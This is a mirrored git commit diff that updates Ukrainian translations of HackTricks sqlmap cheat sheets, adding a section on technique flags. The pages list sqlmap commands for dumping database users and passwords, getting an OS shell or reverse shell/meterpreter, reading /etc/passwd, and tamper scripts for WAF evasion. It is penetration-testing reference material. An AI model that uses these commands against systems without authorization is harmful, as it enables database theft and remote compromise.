mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/pentesting-web/sql-injection/sqlmap.md', 'src/pentestin
This commit is contained in:
parent
8a6376e048
commit
d6be653726
@ -21,6 +21,24 @@
|
||||
--auth-cred="<AUTH>" #HTTP authentication credentials (name:password)
|
||||
--proxy=PROXY
|
||||
```
|
||||
### Technique flags (`--technique`)
|
||||
|
||||
Аргумент `--technique` визначає, які методи SQL-ін'єкцій sqlmap спробує.
|
||||
Кожен символ у рядку представляє техніку:
|
||||
|
||||
| Літера | Техніка | Опис |
|
||||
| ------ | --------- | ----------- |
|
||||
| B | Boolean-based blind | Використовує умови true/false для виведення даних |
|
||||
| E | Error-based | Використовує детальні повідомлення про помилки СУБД для ексфільтрації результатів |
|
||||
| U | UNION query | Впроваджує оператори `UNION SELECT` для отримання даних через той же канал |
|
||||
| S | Stacked queries | Додає додаткові оператори, розділені `;` |
|
||||
| T | Time-based blind | Спирається на затримки (`SLEEP`, `WAITFOR`), щоб виявити ін'єкцію |
|
||||
| Q | Inline / out-of-band | Використовує функції, такі як `LOAD_FILE()`, або OOB-канали, такі як DNS |
|
||||
|
||||
Замовчуваний порядок - `BEUSTQ`. Ви можете переставити або обмежити їх, наприклад, лише Boolean і Time-based у цьому порядку:
|
||||
```bash
|
||||
sqlmap -u "http://target/?id=1" --technique="BT" --batch
|
||||
```
|
||||
### Отримати інформацію
|
||||
|
||||
#### Внутрішній
|
||||
@ -31,7 +49,7 @@
|
||||
--users #Get usernames od DB
|
||||
--passwords #Get passwords of users in DB
|
||||
```
|
||||
#### DB дані
|
||||
#### Дані БД
|
||||
```bash
|
||||
--all #Retrieve everything
|
||||
--dump #Dump DBMS database table entries
|
||||
@ -53,7 +71,7 @@ sqlmap -r req.txt --current-user
|
||||
sqlmap -u "http://example.com/?id=1" -p id
|
||||
sqlmap -u "http://example.com/?id=*" -p id
|
||||
```
|
||||
### Впровадження POST запиту
|
||||
### Впровадження запиту POST
|
||||
```bash
|
||||
sqlmap -u "http://example.com" --data "username=*&password=*"
|
||||
```
|
||||
@ -87,7 +105,7 @@ python sqlmap.py -u "http://example.com/?id=1" -p id --os-shell
|
||||
#Dropping a reverse-shell / meterpreter
|
||||
python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn
|
||||
```
|
||||
### Обход веб-сайту з SQLmap та автоматичне використання експлойтів
|
||||
### Обхід веб-сайту з SQLmap та автоматичне використання експлойтів
|
||||
```bash
|
||||
sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3
|
||||
|
||||
@ -117,8 +135,8 @@ sqlmap -r r.txt -p id --not-string ridiculous --batch
|
||||
```
|
||||
| Tamper | Опис |
|
||||
| :--------------------------- | :--------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| apostrophemask.py | Замінює символ апострофа на його повноширокий еквівалент UTF-8 |
|
||||
| apostrophenullencode.py | Замінює символ апострофа на його незаконний подвійний юнікодний еквівалент |
|
||||
| apostrophemask.py | Замінює символ апострофа на його повноширокий UTF-8 аналог |
|
||||
| apostrophenullencode.py | Замінює символ апострофа на його незаконний подвоєний юнікодний аналог |
|
||||
| appendnullbyte.py | Додає закодований символ NULL байта в кінець payload |
|
||||
| base64encode.py | Кодує всі символи в заданому payload у Base64 |
|
||||
| between.py | Замінює оператор більше ніж \('>'\) на 'NOT BETWEEN 0 AND \#' |
|
||||
@ -132,7 +150,7 @@ sqlmap -r r.txt -p id --not-string ridiculous --batch
|
||||
| charunicodeescape.py | Юнікод-URL-кодує не закодовані символи в заданому payload \(не обробляючи вже закодовані\). "\u0022" |
|
||||
| equaltolike.py | Замінює всі випадки оператора рівності \('='\) на оператор 'LIKE' |
|
||||
| escapequotes.py | Екранує лапки \(' і "\) |
|
||||
| greatest.py | Замінює оператор більше ніж \('>'\) на його еквівалент 'GREATEST' |
|
||||
| greatest.py | Замінює оператор більше ніж \('>'\) на його аналог 'GREATEST' |
|
||||
| halfversionedmorekeywords.py | Додає версійний коментар MySQL перед кожним ключовим словом |
|
||||
| ifnull2ifisnull.py | Замінює випадки на кшталт 'IFNULL\(A, B\)' на 'IF\(ISNULL\(A\), B, A\)' |
|
||||
| modsecurityversioned.py | Обгортає повний запит у версійний коментар |
|
||||
@ -155,7 +173,7 @@ sqlmap -r r.txt -p id --not-string ridiculous --batch
|
||||
| space2mysqldash.py | Замінює символ пробілу \(' '\) на коментар у вигляді дефісу \('--'\), за яким слідує новий рядок \('\n'\) |
|
||||
| space2plus.py | Замінює символ пробілу \(' '\) на плюс \('+'\) |
|
||||
| space2randomblank.py | Замінює символ пробілу \(' '\) на випадковий пробіл з дійсного набору альтернативних символів |
|
||||
| symboliclogical.py | Замінює логічні оператори AND і OR на їх символічні еквіваленти \(&& і |
|
||||
| symboliclogical.py | Замінює логічні оператори AND і OR на їх символічні аналоги \(&& і |
|
||||
| unionalltounion.py | Замінює UNION ALL SELECT на UNION SELECT |
|
||||
| unmagicquotes.py | Замінює символ лапки \('\) на комбінацію з багатьох байтів %bf%27 разом з загальним коментарем в кінці \(щоб це працювало\) |
|
||||
| uppercase.py | Замінює кожен символ ключового слова на верхній регістр 'INSERT' |
|
||||
@ -164,4 +182,7 @@ sqlmap -r r.txt -p id --not-string ridiculous --batch
|
||||
| versionedmorekeywords.py | Обгортає кожне ключове слово у версійний коментар MySQL |
|
||||
| xforwardedfor.py | Додає фальшивий HTTP заголовок 'X-Forwarded-For' |
|
||||
|
||||
## References
|
||||
- [SQLMap: Testing SQL Database Vulnerabilities](https://blog.bughunt.com.br/sqlmap-vulnerabilidades-banco-de-dados/)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -23,6 +23,23 @@
|
||||
--proxy=http://127.0.0.1:8080
|
||||
--union-char "GsFRts2" #Help sqlmap identify union SQLi techniques with a weird union char
|
||||
```
|
||||
### Technique flags (`--technique`)
|
||||
|
||||
Опція `--technique` дозволяє обмежити або змінити порядок технік SQL-ін'єкцій, які тестуватиме sqlmap. Кожна літера відповідає різному класу корисних навантажень:
|
||||
|
||||
| Літера | Техніка | Опис |
|
||||
| ------ | --------- | ----------- |
|
||||
| B | Boolean-based blind | Використовує умови true/false у відповіді сторінки для виведення результатів |
|
||||
| E | Error-based | Використовує детальні повідомлення про помилки СУБД для витягування даних |
|
||||
| U | UNION query | Впроваджує оператори `UNION SELECT` для отримання даних через той же канал |
|
||||
| S | Stacked queries | Додає додаткові оператори, розділені SQL-роздільником (`;`) |
|
||||
| T | Time-based blind | Спирається на затримки `SLEEP/WAITFOR` для виявлення ін'єкційних умов |
|
||||
| Q | Inline / out-of-band | Використовує функції, такі як `LOAD_FILE()` або ексфільтрацію DNS для витягування даних |
|
||||
|
||||
За замовчуванням порядок, який буде дотримуватись sqlmap, - це `BEUSTQ` (всі техніки). Ви можете змінити як порядок, так і підмножину. Наприклад, наступна команда **лише** спробує техніки UNION query та Time-based blind, спочатку намагаючись UNION:
|
||||
```bash
|
||||
sqlmap -u "http://target.tld/page.php?id=1" --technique="UT" --batch
|
||||
```
|
||||
### Отримати інформацію
|
||||
|
||||
#### Внутрішній
|
||||
@ -34,7 +51,7 @@
|
||||
--passwords #Get passwords of users in DB
|
||||
--privileges #Get privileges
|
||||
```
|
||||
#### Дані БД
|
||||
#### DB дані
|
||||
```bash
|
||||
--all #Retrieve everything
|
||||
--dump #Dump DBMS database table entries
|
||||
@ -43,13 +60,13 @@
|
||||
--columns #Columns of a table ( -D <DB NAME> -T <TABLE NAME> )
|
||||
-D <DB NAME> -T <TABLE NAME> -C <COLUMN NAME> #Dump column
|
||||
```
|
||||
Використовуючи [SQLMapping](https://taurusomar.github.io/sqlmapping/), це практичний інструмент, який генерує команди та надає повний огляд, як базовий, так і розширений, для SQLMap. Він включає ToolTips, які пояснюють кожен аспект інструменту, детально описуючи кожну опцію, щоб ви могли покращити та зрозуміти, як використовувати його ефективно та результативно.
|
||||
Використовуючи [SQLMapping](https://taurusomar.github.io/sqlmapping/), це практичний інструмент, який генерує команди та надає повний огляд, як базовий, так і розширений, для SQLMap. Він включає ToolTips, які пояснюють кожен аспект інструмента, детально описуючи кожну опцію, щоб ви могли покращити та зрозуміти, як використовувати його ефективно та результативно.
|
||||
|
||||
## Місце ін'єкції
|
||||
## Injection place
|
||||
|
||||
### З захоплення Burp/ZAP
|
||||
### From Burp/ZAP capture
|
||||
|
||||
Захопіть запит і створіть файл req.txt.
|
||||
Захопіть запит і створіть файл req.txt
|
||||
```bash
|
||||
sqlmap -r req.txt --current-user
|
||||
```
|
||||
@ -86,11 +103,11 @@ sqlmap --method=PUT -u "http://example.com" --headers="referer:*"
|
||||
|
||||
### Eval
|
||||
|
||||
**Sqlmap** дозволяє використовувати `-e` або `--eval`, щоб обробити кожен payload перед його відправкою з деяким python oneliner. Це робить дуже простим і швидким обробку payload у власний спосіб перед його відправкою. У наступному прикладі **flask cookie session** **підписується flask з відомим секретом перед відправкою**:
|
||||
**Sqlmap** дозволяє використовувати `-e` або `--eval` для обробки кожного payload перед його відправкою з деяким python oneliner. Це робить дуже простим і швидким обробку payload у кастомних способах перед його відправкою. У наступному прикладі **flask cookie session** **підписується flask з відомим секретом перед відправкою**:
|
||||
```bash
|
||||
sqlmap http://1.1.1.1/sqli --eval "from flask_unsign import session as s; session = s.sign({'uid': session}, secret='SecretExfilratedFromTheMachine')" --cookie="session=*" --dump
|
||||
```
|
||||
### Шелл
|
||||
### Shell
|
||||
```bash
|
||||
#Exec command
|
||||
python sqlmap.py -u "http://example.com/?id=1" -p id --os-cmd whoami
|
||||
@ -105,7 +122,7 @@ python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn
|
||||
```bash
|
||||
--file-read=/etc/passwd
|
||||
```
|
||||
### Обход веб-сайту з SQLmap та автоматичне використання експлойтів
|
||||
### Обхід вебсайту з SQLmap та автоматичне використання експлойтів
|
||||
```bash
|
||||
sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3
|
||||
|
||||
@ -137,7 +154,7 @@ sqlmap -r r.txt -p id --not-string ridiculous --batch
|
||||
```
|
||||
### Tamper
|
||||
|
||||
Пам'ятайте, що **ви можете створити свій власний tamper на python** і це дуже просто. Ви можете знайти приклад tamper на [сторінці Другого Порядку Впровадження тут](second-order-injection-sqlmap.md).
|
||||
Пам'ятайте, що **ви можете створити свій власний tamper на python** і це дуже просто. Ви можете знайти приклад tamper на [сторінці Другого порядку ін'єкції тут](second-order-injection-sqlmap.md).
|
||||
```bash
|
||||
--tamper=name_of_the_tamper
|
||||
#In kali you can see all the tampers in /usr/share/sqlmap/tamper
|
||||
@ -147,7 +164,7 @@ sqlmap -r r.txt -p id --not-string ridiculous --batch
|
||||
| apostrophemask.py | Замінює символ апострофа на його повноширокий UTF-8 аналог |
|
||||
| apostrophenullencode.py | Замінює символ апострофа на його незаконний подвоєний юнікодний аналог |
|
||||
| appendnullbyte.py | Додає закодований символ NULL байта в кінець payload |
|
||||
| base64encode.py | Кодує всі символи в заданому payload у Base64 |
|
||||
| base64encode.py | Кодує всі символи в заданому payload у форматі Base64 |
|
||||
| between.py | Замінює оператор більше ніж ('>') на 'NOT BETWEEN 0 AND #' |
|
||||
| bluecoat.py | Замінює символ пробілу після SQL запиту на дійсний випадковий пробіл. Потім замінює символ = на оператор LIKE |
|
||||
| chardoubleencode.py | Подвійно URL-кодує всі символи в заданому payload (не обробляючи вже закодовані) |
|
||||
@ -171,7 +188,7 @@ sqlmap -r r.txt -p id --not-string ridiculous --batch
|
||||
| randomcase.py | Замінює кожен символ ключового слова на випадкове значення регістру |
|
||||
| randomcomments.py | Додає випадкові коментарі до SQL ключових слів |
|
||||
| securesphere.py | Додає спеціально підготовлений рядок |
|
||||
| sp_password.py | Додає 'sp_password' в кінець payload для автоматичного затемнення з журналів DBMS |
|
||||
| sp_password.py | Додає 'sp_password' в кінець payload для автоматичного затемнення в журналах DBMS |
|
||||
| space2comment.py | Замінює символ пробілу (' ') на коментарі |
|
||||
| space2dash.py | Замінює символ пробілу (' ') на коментар у вигляді дефісу ('--'), за яким слідує випадковий рядок і новий рядок ('\n') |
|
||||
| space2hash.py | Замінює символ пробілу (' ') на символ фунта ('#'), за яким слідує випадковий рядок і новий рядок ('\n') |
|
||||
@ -189,5 +206,10 @@ sqlmap -r r.txt -p id --not-string ridiculous --batch
|
||||
| varnish.py | Додає HTTP заголовок 'X-originating-IP' |
|
||||
| versionedkeywords.py | Обгортає кожне не функціональне ключове слово у версійний коментар MySQL |
|
||||
| versionedmorekeywords.py | Обгортає кожне ключове слово у версійний коментар MySQL |
|
||||
| xforwardedfor.py | Додає фальшивий HTTP заголовок 'X-Forwarded-For' |
|
||||
|
||||
|
||||
## References
|
||||
- [SQLMap: Testing SQL Database Vulnerabilities](https://blog.bughunt.com.br/sqlmap-vulnerabilidades-banco-de-dados/)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user